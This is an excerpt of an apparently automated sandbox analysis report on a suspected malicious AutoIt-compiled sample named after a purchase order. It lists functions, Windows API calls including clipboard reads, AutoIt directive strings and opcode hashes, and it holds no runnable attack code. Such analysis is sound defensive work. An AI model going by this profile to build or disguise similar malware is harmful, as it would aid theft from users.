                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                                                                                                                      • Instruction ID: c47bdb3f9c9e38c5d46ddb9e43dedaf70276048770aeb58bd274f21c588a824b
                                                                                                                                                                      • Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                                                                                                                      • Instruction Fuzzy Hash: 1CD19073D1A9B30A8735852D42581AFEE626FD578031EC3E2CCD07F38AD16B5DA191D4
                                                                                                                                                                      Function 0041240C Relevance: .4, Instructions: 361COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                                                                                                                      • Instruction ID: ac15b8da1a4b082d71a0b082c8349c97121379a14580263daf363e6ab8f75410
                                                                                                                                                                      • Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                                                                                                                      • Instruction Fuzzy Hash: 87C18173C0A9B30A8736812D42641AFEE626FD579031FC3E2CCD47F38A91AB5DA195D4
                                                                                                                                                                      Function 00412038 Relevance: .4, Instructions: 351COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                                                                                                                      • Instruction ID: aa957cafbedeae1199dea6a597ba911d219650f283d164fb65797e90308ef47b
                                                                                                                                                                      • Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                                                                                                                      • Instruction Fuzzy Hash: 5FC18E73D0A9B30A8735812D42581AFEE626FD578031EC3E28CE46F38ED26F5DA195D4
                                                                                                                                                                      Function 03EF4C48 Relevance: .1, Instructions: 92COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2141592912.0000000003EF1000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3ef1000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                                                                                                                                      • Instruction ID: 01d7b5608158a19f3ea764e4a09b61cd22ba71ea08d5267f24c6090aec79ae1a
                                                                                                                                                                      • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                                                                                                                                      • Instruction Fuzzy Hash: EF41C171D1051CEBCF48CFADC991AEEBBF2AF88201F548299D516AB345D730AB41DB80
                                                                                                                                                                      Function 03EF4AD8 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2141592912.0000000003EF1000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3ef1000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                                                                                                                                      • Instruction ID: b9af9c5bad1ecd1e564af42f1c375fbb4641107dedaece3cc49226988d8c60d8
                                                                                                                                                                      • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                                                                                                                                      • Instruction Fuzzy Hash: C1019278A04209EFCB48DF99C5909AEF7B5FF88310F248699D909A7345D730AE41DF80
                                                                                                                                                                      Function 03EF4B38 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2141592912.0000000003EF1000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3ef1000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                                                                                                                                      • Instruction ID: 37eecac831d1c0f38f5cf782fd2d9fb483f4e69b9ba0c14bf286de9c6678e17a
                                                                                                                                                                      • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                                                                                                                                      • Instruction Fuzzy Hash: BB018078A00209EFCB44DF99C5909AEF7B5FB48210F208699D909A7341D730AE41DF80
                                                                                                                                                                      Function 00410D10 Relevance: .0, Instructions: 19COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                                                                                                      • Instruction ID: b8cfd58d412160527e66ace840abba843d94ac3f5b06779728c9fe736b8606cc
                                                                                                                                                                      • Opcode Fuzzy Hash: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                                                                                                      • Instruction Fuzzy Hash: ECD012F621844146F33144D866C0BD100437344310FB58C276005CEBC1C0DDECD6C229
                                                                                                                                                                      Function 03EF3498 Relevance: .0, Instructions: 6COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2141592912.0000000003EF1000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3ef1000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                                                                                                                                      • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                                                                                                                                                                      • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                                                                                                                                      • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                                                                                                                                                      Function 00459384 Relevance: 79.2, APIs: 41, Strings: 4, Instructions: 480filewindowcomCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 004593D7
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 004593F1
                                                                                                                                                                      • DestroyWindow.USER32(?), ref: 00459407
                                                                                                                                                                      • GetDesktopWindow.USER32 ref: 0045942A
                                                                                                                                                                      • GetWindowRect.USER32(00000000), ref: 00459431
                                                                                                                                                                      • SetRect.USER32(50000001,00000000,00000000,000001F4,?), ref: 00459568
                                                                                                                                                                      • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00459577
                                                                                                                                                                      • CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,?,?,50000001,?,?,00000000,00000000), ref: 004595BB
                                                                                                                                                                      • GetClientRect.USER32(00000000,?), ref: 004595C8
                                                                                                                                                                      • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 00459615
                                                                                                                                                                      • CreateFileW.KERNEL32(00000000,?,80000000,00000000,00000000,00000003,00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459635
                                                                                                                                                                      • GetFileSize.KERNEL32(00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459654
                                                                                                                                                                      • GlobalAlloc.KERNEL32(00000002,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 0045965F
                                                                                                                                                                      • GlobalLock.KERNEL32(00000000), ref: 00459668
                                                                                                                                                                      • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459678
                                                                                                                                                                      • GlobalUnlock.KERNEL32(00000000), ref: 0045967F
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459686
                                                                                                                                                                      • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,50000001,?,?,00000000,00000000,00000000), ref: 00459694
                                                                                                                                                                      • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,000001F4), ref: 004596AD
                                                                                                                                                                      • GlobalFree.KERNEL32(00000000), ref: 004596C0
                                                                                                                                                                      • CopyImage.USER32(000000FF,00000000,00000000,00000000,00002000), ref: 004596EF
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000172,00000000,000000FF), ref: 00459712
                                                                                                                                                                      • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,50000001,?,?,00000000,00000000,00000000), ref: 0045973D
                                                                                                                                                                      • ShowWindow.USER32(?,00000004,?,50000001,?,?,00000000,00000000,00000000), ref: 0045974B
                                                                                                                                                                      • CreateWindowExW.USER32(00000000,static,00000000,?,?,0000000B,0000000B,?,?,?,00000000,00000000), ref: 0045979C
                                                                                                                                                                      • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004597AD
                                                                                                                                                                      • GetStockObject.GDI32(00000011), ref: 004597B7
                                                                                                                                                                      • SelectObject.GDI32(00000000,00000000), ref: 004597BF
                                                                                                                                                                      • GetTextFaceW.GDI32(00000000,00000040,00000190,?,50000001,?,?,00000000,00000000,00000000), ref: 004597CD
                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 004597D6
                                                                                                                                                                      • DeleteDC.GDI32(00000000), ref: 004597E1
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00459800
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 0045981F
                                                                                                                                                                      • CreateFontW.GDI32(?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 004598BB
                                                                                                                                                                      • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004598D0
                                                                                                                                                                      • GetDC.USER32(?), ref: 004598DE
                                                                                                                                                                      • SelectObject.GDI32(00000000,?), ref: 004598EE
                                                                                                                                                                      • SelectObject.GDI32(00000000,?), ref: 00459919
                                                                                                                                                                      • ReleaseDC.USER32(?,00000000), ref: 00459925
                                                                                                                                                                      • MoveWindow.USER32(?,0000000B,?,?,?,00000001), ref: 00459943
                                                                                                                                                                      • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 00459951
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$Create$Object$Global$Rect$DeleteFileSelect$MessageSendShow$AdjustAllocCapsClientCloseCopyDesktopDestroyDeviceFaceFontFreeHandleImageLoadLockMovePictureReadReleaseSizeStockStreamTextUnlock_wcscpy_wcslen
                                                                                                                                                                      • String ID: $AutoIt v3$DISPLAY$static
                                                                                                                                                                      • API String ID: 4040870279-2373415609
                                                                                                                                                                      • Opcode ID: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                                                                                                      • Instruction ID: fce7466cc8f2b4b34a2e278d60cb4f704f90ff1017bfb666dbfc83d8aba9d67a
                                                                                                                                                                      • Opcode Fuzzy Hash: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                                                                                                      • Instruction Fuzzy Hash: 3F028C70204301EFD714DF64DE89F2BB7A8AB84705F104A2DFA45AB2D2D7B4E805CB69
                                                                                                                                                                      Function 00403E50 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 236COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __wcsnicmp
                                                                                                                                                                      • String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
                                                                                                                                                                      • API String ID: 1038674560-3360698832
                                                                                                                                                                      • Opcode ID: 87a66eadcaf8420a9e8e1157d1f7c7fd58aef90dc088af7a86e197dee8fb1ec4
                                                                                                                                                                      • Instruction ID: b6083b7aed1673b33e689ff2aa7e8f17f47d7310e90ec65f4167159f85ee96f3
                                                                                                                                                                      • Opcode Fuzzy Hash: 87a66eadcaf8420a9e8e1157d1f7c7fd58aef90dc088af7a86e197dee8fb1ec4
                                                                                                                                                                      • Instruction Fuzzy Hash: 5A611471B4071076EA306A229C46FAB735CDF14345F50052FFC01A628BE7ADDA4A86EE
                                                                                                                                                                      Function 00433D5C Relevance: 42.2, APIs: 28, Instructions: 198windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetSysColor.USER32(0000000E), ref: 00433D81
                                                                                                                                                                      • SetTextColor.GDI32(?,00000000), ref: 00433D89
                                                                                                                                                                      • GetSysColor.USER32(00000012), ref: 00433DA3
                                                                                                                                                                      • SetTextColor.GDI32(?,?), ref: 00433DAB
                                                                                                                                                                      • GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                                                                                                                                                      • GetSysColor.USER32(0000000F), ref: 00433DCB
                                                                                                                                                                      • CreateSolidBrush.GDI32(?), ref: 00433DD4
                                                                                                                                                                      • GetSysColor.USER32(00000011), ref: 00433DEB
                                                                                                                                                                      • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 00433E0D
                                                                                                                                                                      • SetBkColor.GDI32(?,?), ref: 00433E19
                                                                                                                                                                      • SelectObject.GDI32(?,?), ref: 00433E29
                                                                                                                                                                      • InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                                                                                                                                                      • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                                                                                                                                                      • GetWindowLongW.USER32 ref: 00433E8A
                                                                                                                                                                      • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                                                                                                                                                                      • GetWindowTextW.USER32(00000000,00000000,00000105), ref: 00433EE1
                                                                                                                                                                      • InflateRect.USER32(?,000000FD,000000FD), ref: 00433F13
                                                                                                                                                                      • DrawFocusRect.USER32(?,?), ref: 00433F1F
                                                                                                                                                                      • GetSysColor.USER32(00000011), ref: 00433F2E
                                                                                                                                                                      • SetTextColor.GDI32(?,00000000), ref: 00433F36
                                                                                                                                                                      • DrawTextW.USER32(?,?,000000FF,?,?), ref: 00433F4E
                                                                                                                                                                      • SelectObject.GDI32(?,?), ref: 00433F63
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 00433F70
                                                                                                                                                                      • SelectObject.GDI32(?,?), ref: 00433F78
                                                                                                                                                                      • DeleteObject.GDI32(00000000), ref: 00433F7B
                                                                                                                                                                      • SetTextColor.GDI32(?,?), ref: 00433F83
                                                                                                                                                                      • SetBkColor.GDI32(?,?), ref: 00433F8F
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1582027408-0
                                                                                                                                                                      • Opcode ID: 0b51a09b4c85f12ae70b13129e7bad5c5e259c1925df30aaa8741127af755d25
                                                                                                                                                                      • Instruction ID: aa454ab644ffbff4d2185aee23397a25bdbdaef3ad5a75b83a3ebbbeed3afe32
                                                                                                                                                                      • Opcode Fuzzy Hash: 0b51a09b4c85f12ae70b13129e7bad5c5e259c1925df30aaa8741127af755d25
                                                                                                                                                                      • Instruction Fuzzy Hash: 53710570508340AFD304DF68DD88A6FBBF9FF89711F104A2DFA5592290D7B4E9418B6A
                                                                                                                                                                      Function 0046C604 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 216clipboardCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                                                                                      • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                                                                                      • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                                                                                      • CloseClipboard.USER32 ref: 0046C65D
                                                                                                                                                                      • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                                                                                                      • CloseClipboard.USER32 ref: 0046C692
                                                                                                                                                                      • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                                                                                      • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                                                                                      • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                                                                                                      • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                                                                                                      • CloseClipboard.USER32 ref: 0046C866
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 589737431-2761332787
                                                                                                                                                                      • Opcode ID: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                                                                                                      • Instruction ID: ccec0c76267f611a980a6192e38ed766f4c6ddce8b7f15b38bc446a2cb1d96e7
                                                                                                                                                                      • Opcode Fuzzy Hash: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                                                                                                      • Instruction Fuzzy Hash: 4D61E5722003019BD310EF65DD86B5E77A8EF54715F00483EFA41E72D1EBB5D9048BAA
                                                                                                                                                                      Function 0045657D Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 287windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCursorPos.USER32(?), ref: 00456692
                                                                                                                                                                      • GetDesktopWindow.USER32 ref: 004566AA
                                                                                                                                                                      • GetWindowRect.USER32(00000000), ref: 004566B1
                                                                                                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 0045670D
                                                                                                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 00456720
                                                                                                                                                                      • DestroyWindow.USER32(?), ref: 00456731
                                                                                                                                                                      • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456779
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 00456797
                                                                                                                                                                      • SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567C0
                                                                                                                                                                      • SendMessageW.USER32(?,00000421,?,?), ref: 004567D8
                                                                                                                                                                      • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 004567EE
                                                                                                                                                                      • IsWindowVisible.USER32(?), ref: 00456812
                                                                                                                                                                      • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0045682E
                                                                                                                                                                      • SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 00456843
                                                                                                                                                                      • GetWindowRect.USER32(?,?), ref: 0045685C
                                                                                                                                                                      • MonitorFromPoint.USER32(?,?,00000002), ref: 00456880
                                                                                                                                                                      • GetMonitorInfoW.USER32 ref: 00456894
                                                                                                                                                                      • CopyRect.USER32(?,?), ref: 004568A8
                                                                                                                                                                      • SendMessageW.USER32(?,00000412,00000000), ref: 0045690A
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$MessageSend$Rect$LongMonitor$CopyCreateCursorDesktopDestroyFromInfoPointVisible
                                                                                                                                                                      • String ID: ($,$tooltips_class32
                                                                                                                                                                      • API String ID: 541082891-3320066284
                                                                                                                                                                      • Opcode ID: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                                                                                                      • Instruction ID: 3987ef5f26dee50c6234681dd74380f3ee0746d74ffcadc96223edc745891050
                                                                                                                                                                      • Opcode Fuzzy Hash: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                                                                                                      • Instruction Fuzzy Hash: 33B18EB0604341AFD714DF64C984B6BB7E5EF88704F408D2DF989A7292D778E848CB5A
